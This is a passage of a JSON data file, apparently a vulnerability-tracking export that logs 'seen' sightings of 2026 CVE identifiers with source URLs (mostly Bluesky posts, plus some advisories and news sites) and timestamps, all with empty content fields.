"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3meo5746tpo2g", "content": "", "creation_timestamp": "2026-02-12T13:51:47.794200Z"}, {"uuid": "52faeed6-da26-449b-92c0-21cb1119ccc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfsnz46cby2k", "content": "", "creation_timestamp": "2026-02-27T02:28:30.275350Z"}, {"uuid": "0f4d3ec0-3ebe-4c61-a4fe-b8684a47a14a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/0xdaeda1a.bsky.social/post/3meo5lozxhs2r", "content": "", "creation_timestamp": "2026-02-12T13:58:50.652596Z"}, {"uuid": "56a582fe-d71f-470c-a7ae-5b47723917f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/ly2314.bsky.social/post/3mem54t74gc2v", "content": "", "creation_timestamp": "2026-02-11T18:45:11.622276Z"}, {"uuid": "4bbbec48-0881-48c4-a6e4-de838258bde6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-di-sicurezza-apple-8", "content": "", "creation_timestamp": "2026-02-12T11:02:01.000000Z"}, {"uuid": "4ae42e64-0f6b-43ad-a1b4-d9e4e165a156", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/uecazlab.bsky.social/post/3mew5eveb6k2g", "content": "", "creation_timestamp": "2026-02-15T18:16:21.315355Z"}, {"uuid": "8f848bae-d3d9-419b-ac7a-0b8284396375", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mgdqmmfetk2l", "content": "", "creation_timestamp": "2026-03-05T21:30:40.968966Z"}, {"uuid": "11c11266-2803-470e-a3e4-d63e89f40ff3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/xutils.org/post/3mem5bif6wk2i", "content": "", "creation_timestamp": "2026-02-11T18:47:49.143149Z"}, {"uuid": "761eefee-665b-4696-87a6-c96d9cf5a4db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mfpc65cgz52n", "content": "", "creation_timestamp": "2026-02-25T18:18:35.589688Z"}, {"uuid": "49c45ae6-b023-47e2-9fd1-6f5b3d30c0ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgavkatity2s", "content": "", "creation_timestamp": "2026-03-04T18:20:39.067689Z"}, {"uuid": "3b084f68-5093-4a8b-a6d1-ad4b79b94949", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20893", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mbsrhqtnu62y", "content": "", "creation_timestamp": "2026-01-07T05:49:36.620530Z"}, {"uuid": "cd72b698-8c8a-41a8-9f8c-ea1c5167cb12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20105", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgavkhdawc2x", "content": "", "creation_timestamp": "2026-03-04T18:20:45.568347Z"}, {"uuid": "6d2ab3e5-08fb-4fe5-be96-3f09f81954e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20101", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgavkoaann2d", "content": "", "creation_timestamp": "2026-03-04T18:20:52.817154Z"}, {"uuid": "778fd4fa-a0c4-4df0-ba07-48bc93a9d053", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20103", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgavptgjol2s", "content": "", "creation_timestamp": "2026-03-04T18:23:46.182296Z"}, {"uuid": "0b916a2c-4f0a-46a3-95a1-33409e1d24e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20910", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsohuil3627", "content": "", "creation_timestamp": "2026-02-27T02:36:45.533692Z"}, {"uuid": "02768d16-0c3a-4f5b-9cef-39bcb28c57a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgavq237mh26", "content": "", "creation_timestamp": "2026-03-04T18:23:52.963410Z"}, {"uuid": "26accef9-6c6d-44c8-8925-3a110ca89d0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20082", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgavqaphdz2c", "content": "", "creation_timestamp": "2026-03-04T18:23:59.905214Z"}, {"uuid": "c992a4bc-03ed-4e3b-b2b7-040705982881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/applebriefly.bsky.social/post/3meo6abdvd42o", "content": "", "creation_timestamp": "2026-02-12T14:10:20.956913Z"}, {"uuid": "b8097bfd-982a-47ca-9c33-6567170eb16a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/technonews.bsky.social/post/3memchmx2nq2y", "content": "", "creation_timestamp": "2026-02-11T20:20:44.219530Z"}, {"uuid": "a2bd2892-c671-4e0a-b175-867b13ad0758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20100", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgavzf6jog2d", "content": "", "creation_timestamp": "2026-03-04T18:29:07.830747Z"}, {"uuid": "fd9c2a03-fb4e-4dfc-adbc-f01c0cf6245a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20882", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mghoemwa5k2t", "content": "", "creation_timestamp": "2026-03-07T11:00:52.728615Z"}, {"uuid": "751779b3-230b-45ca-8012-4abb6063395d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20039", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgavznbcke2k", "content": "", "creation_timestamp": "2026-03-04T18:29:14.853157Z"}, {"uuid": "bc31a3d5-7063-48ee-bbec-63bf16e4716a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20893", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mbtjldpxrg2p", "content": "", "creation_timestamp": "2026-01-07T13:01:07.509011Z"}, {"uuid": "111a7ec3-00b8-4c44-a0eb-1dcc6ca89327", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20026", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mbu4i55cs22m", "content": "", "creation_timestamp": "2026-01-07T18:39:20.497489Z"}, {"uuid": "32770224-3446-4b37-93ef-9b66ae8fc533", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mbu4mmjzca2x", "content": "", "creation_timestamp": "2026-01-07T18:41:50.736353Z"}, {"uuid": "f3d5eacc-09ed-4808-9f65-0ae0c6088d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20027", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mbu655cclp2g", "content": "", "creation_timestamp": "2026-01-07T19:08:58.976637Z"}, {"uuid": "3b64731a-4586-4420-af66-c82cc946b4e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20817", "type": "seen", "source": "https://bsky.app/profile/glitterbean.wehavecookies.social.ap.brid.gy/post/3mho6xfi7sw42", "content": "", "creation_timestamp": "2026-03-22T18:38:55.014056Z"}, {"uuid": "797e781c-8146-49d6-a7bc-030492126775", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20110", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mi6tqbfwtc2g", "content": "", "creation_timestamp": "2026-03-29T09:33:20.825752Z"}, {"uuid": "ae563018-f48d-487c-89e2-9f60556ddab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mhjoatd7v42d", "content": "", "creation_timestamp": "2026-03-20T23:29:16.485998Z"}, {"uuid": "a3c59e56-e371-44cd-9b2a-53428a00c23b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20113", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mi6tqbfwtc2g", "content": "", "creation_timestamp": "2026-03-29T09:33:20.927163Z"}, {"uuid": "7023882c-f829-4519-8955-c2e18189c6dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20664", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116288473815970382", "content": "", "creation_timestamp": "2026-03-25T06:48:13.092163Z"}, {"uuid": "1c097ee8-c7e2-4064-bda1-8f348a089609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mbvunkfas72o", "content": "", "creation_timestamp": "2026-01-08T11:24:31.466575Z"}, {"uuid": "1961f7f1-4ace-4404-aa22-be9f9ad34002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/115859680312686733", "content": "", "creation_timestamp": "2026-01-08T13:20:23.156064Z"}, {"uuid": "f4150fae-3040-4903-a565-566daedb2aa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3mbw34wyji22i", "content": "", "creation_timestamp": "2026-01-08T13:20:31.473157Z"}, {"uuid": "7f8cc080-b1ad-400a-80c5-16bc1bd76a55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/115859689550882652", "content": "", "creation_timestamp": "2026-01-08T13:22:44.295134Z"}, {"uuid": "1ffd4f7e-4da2-4b89-85ff-68dd2d1f4d5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://thehackernews.com/2026/01/cisco-patches-ise-security.html", "content": "", "creation_timestamp": "2026-01-08T09:44:00.000000Z"}, {"uuid": "27f75e05-d581-4e95-be76-a1fbffa90a50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://threatintel.cc/2026/01/08/cisco-warns-of-identity-service.html", "content": "", "creation_timestamp": "2026-01-08T12:22:50.000000Z"}, {"uuid": "5170de1d-6a5f-4eb4-9923-37aece352715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20026", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mbw76yn4ox2z", "content": "", "creation_timestamp": "2026-01-08T14:33:14.733905Z"}, {"uuid": "fc3b70af-08ae-4086-997e-aa95c204d1fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mbwcxiqgn22u", "content": "", "creation_timestamp": "2026-01-08T15:40:38.184417Z"}, {"uuid": "cdf6b2e7-d4f8-494b-8e31-f2b8bdbbcee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mbwho7tfwg2r", "content": "", "creation_timestamp": "2026-01-08T17:04:55.625608Z"}, {"uuid": "e7d3159f-f47c-46be-84a0-2e719846ae4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://bsky.app/profile/ehcgroup.bsky.social/post/3mbwjfxydmk2d", "content": "", "creation_timestamp": "2026-01-08T17:36:09.288303Z"}, {"uuid": "599a5cf9-1b0d-477b-b7f8-cc84305c0353", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mbwobljkrn22", "content": "", "creation_timestamp": "2026-01-08T19:03:09.646989Z"}, {"uuid": "cb363e1b-7916-4ff2-b022-8f94b7dce207", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mbxtwt274k2k", "content": "", "creation_timestamp": "2026-01-09T06:18:19.301615Z"}, {"uuid": "2defc64e-5ad1-4786-8fd0-1cbf413849c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mby3qjg6yp2g", "content": "", "creation_timestamp": "2026-01-09T08:36:46.959744Z"}, {"uuid": "8beda29f-f644-458e-8491-069714170d7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20969", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mby3tuzmdh2x", "content": "", "creation_timestamp": "2026-01-09T08:38:39.687654Z"}, {"uuid": "38cbe6ca-b34d-469f-9cf0-fe3dce4061ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20973", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mby3xhsfn62u", "content": "", "creation_timestamp": "2026-01-09T08:40:40.083361Z"}, {"uuid": "022d3a48-699e-448d-a7b6-1ef578b87d06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20970", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mby43cr2pw22", "content": "", "creation_timestamp": "2026-01-09T08:42:48.901977Z"}, {"uuid": "8b2945e7-9961-4e53-a9fe-053cda73377a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20972", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mby47h5dav2r", "content": "", "creation_timestamp": "2026-01-09T08:45:08.483262Z"}, {"uuid": "0dc703ac-c32b-40f1-8371-12dd887301ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20975", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mby4dwjlig22", "content": "", "creation_timestamp": "2026-01-09T08:47:38.160569Z"}, {"uuid": "ac729169-ab7d-4720-a072-f55750ccc80d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20974", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mby4isvv652r", "content": "", "creation_timestamp": "2026-01-09T08:50:22.051272Z"}, {"uuid": "61371e1f-d779-49c4-a646-421b2f9360df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20976", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mby5ckhsju2x", "content": "", "creation_timestamp": "2026-01-09T09:04:45.651426Z"}, {"uuid": "019af877-3c84-42ec-b326-9d0213fdd19e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20968", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mby5livn3e2c", "content": "", "creation_timestamp": "2026-01-09T09:09:46.087547Z"}, {"uuid": "9fdfe7d2-bd33-4fef-9a0d-5a239f1f20c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mhfoz3tw6b26", "content": "", "creation_timestamp": "2026-03-19T09:32:10.958789Z"}, {"uuid": "58aa5f23-f851-4aba-8658-f59ce5331694", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20125", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhwcfha6ug2d", "content": "", "creation_timestamp": "2026-03-26T00:01:42.749822Z"}, {"uuid": "e0fa7db4-3a0a-4483-8f5d-ce5d5127cc7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20084", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhwcfolrss2w", "content": "", "creation_timestamp": "2026-03-26T00:01:50.170098Z"}, {"uuid": "3517d20f-bfb0-4a17-bc8b-04a74901193b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20086", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhwcfvzt3727", "content": "", "creation_timestamp": "2026-03-26T00:01:58.613749Z"}, {"uuid": "3b34da50-6715-4640-91a0-1de4bddaad84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mhfq6uomnw2b", "content": "", "creation_timestamp": "2026-03-19T09:53:18.423597Z"}, {"uuid": "4093c5d5-53db-4fc0-babc-1a01296285f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mhzrb6ipwo2d", "content": "", "creation_timestamp": "2026-03-27T09:05:44.511931Z"}, {"uuid": "5a7a51ae-423f-46a5-87ca-eba4aa81c30b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20435", "type": "seen", "source": "https://bsky.app/profile/tolomir.eurosky.social/post/3mhao7cqfps2y", "content": "", "creation_timestamp": "2026-03-17T09:34:26.831804Z"}, {"uuid": "29182056-3b1f-4e1e-8357-c74b028a5cd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhzrugjbly2y", "content": "", "creation_timestamp": "2026-03-27T09:16:29.840762Z"}, {"uuid": "c8dc9f20-5a41-46c7-bf5d-b615dd07646c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mbyd56f7es2o", "content": "", "creation_timestamp": "2026-01-09T10:49:08.065880Z"}, {"uuid": "f1e0dffa-8d37-4aa4-929f-b8bccc5fac5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-019/", "content": "", "creation_timestamp": "2026-01-09T05:00:00.000000Z"}, {"uuid": "7aa235e5-5a4a-4c10-9821-d1e482a599a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20892", "type": "seen", "source": "https://jvndb.jvn.jp/en/contents/2026/JVNDB-2026-006887.html", "content": "", "creation_timestamp": "2026-03-16T03:00:08.000000Z"}, {"uuid": "3d99c04a-8b63-47e5-89f6-1d56a9ebc5fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20131", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mhm3g77kvd2q", "content": "", "creation_timestamp": "2026-03-21T22:30:13.668870Z"}, {"uuid": "82eff5fc-2a8c-43b6-b2e7-dbd8d72da87e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mi3lkciznf2s", "content": "", "creation_timestamp": "2026-03-28T02:28:47.461448Z"}, {"uuid": "60ea9b74-97a7-4d5d-9110-26aa25c43479", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20163", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhujcwdzb62v", "content": "", "creation_timestamp": "2026-03-25T07:00:14.133648Z"}, {"uuid": "a7d1a485-d050-486b-b416-e6314520dcb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mgu3dksmih2v", "content": "", "creation_timestamp": "2026-03-12T09:24:51.548949Z"}, {"uuid": "5285e290-d5e0-41e8-a826-156c4ff7f188", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mhott34svf2l", "content": "", "creation_timestamp": "2026-03-23T00:52:14.932176Z"}, {"uuid": "9f179a1f-1c12-4468-b0c6-6b7eb5fdc04b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://bsky.app/profile/technology-news.bsky.social/post/3mc2tlfblxy2p", "content": "", "creation_timestamp": "2026-01-10T10:48:44.907774Z"}, {"uuid": "d0baccb3-a258-4e6a-bb85-70e7b311e718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20027", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mc3rpy7v3222", "content": "", "creation_timestamp": "2026-01-10T19:48:14.922562Z"}, {"uuid": "521e89f2-632c-477a-ae24-16e416a655ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mhgjpzyn5k23", "content": "", "creation_timestamp": "2026-03-19T17:30:18.400421Z"}, {"uuid": "b3285445-7d2d-42bc-8766-e5e157a19278", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mhm6pmebtj2s", "content": "", "creation_timestamp": "2026-03-21T23:29:10.728159Z"}, {"uuid": "595ab23b-97ca-460b-a35a-a38405e8a82a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhoz7uwazz2o", "content": "", "creation_timestamp": "2026-03-23T02:28:53.099193Z"}, {"uuid": "bcd37e62-ee1d-43ba-ac4c-f09f5cde84cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 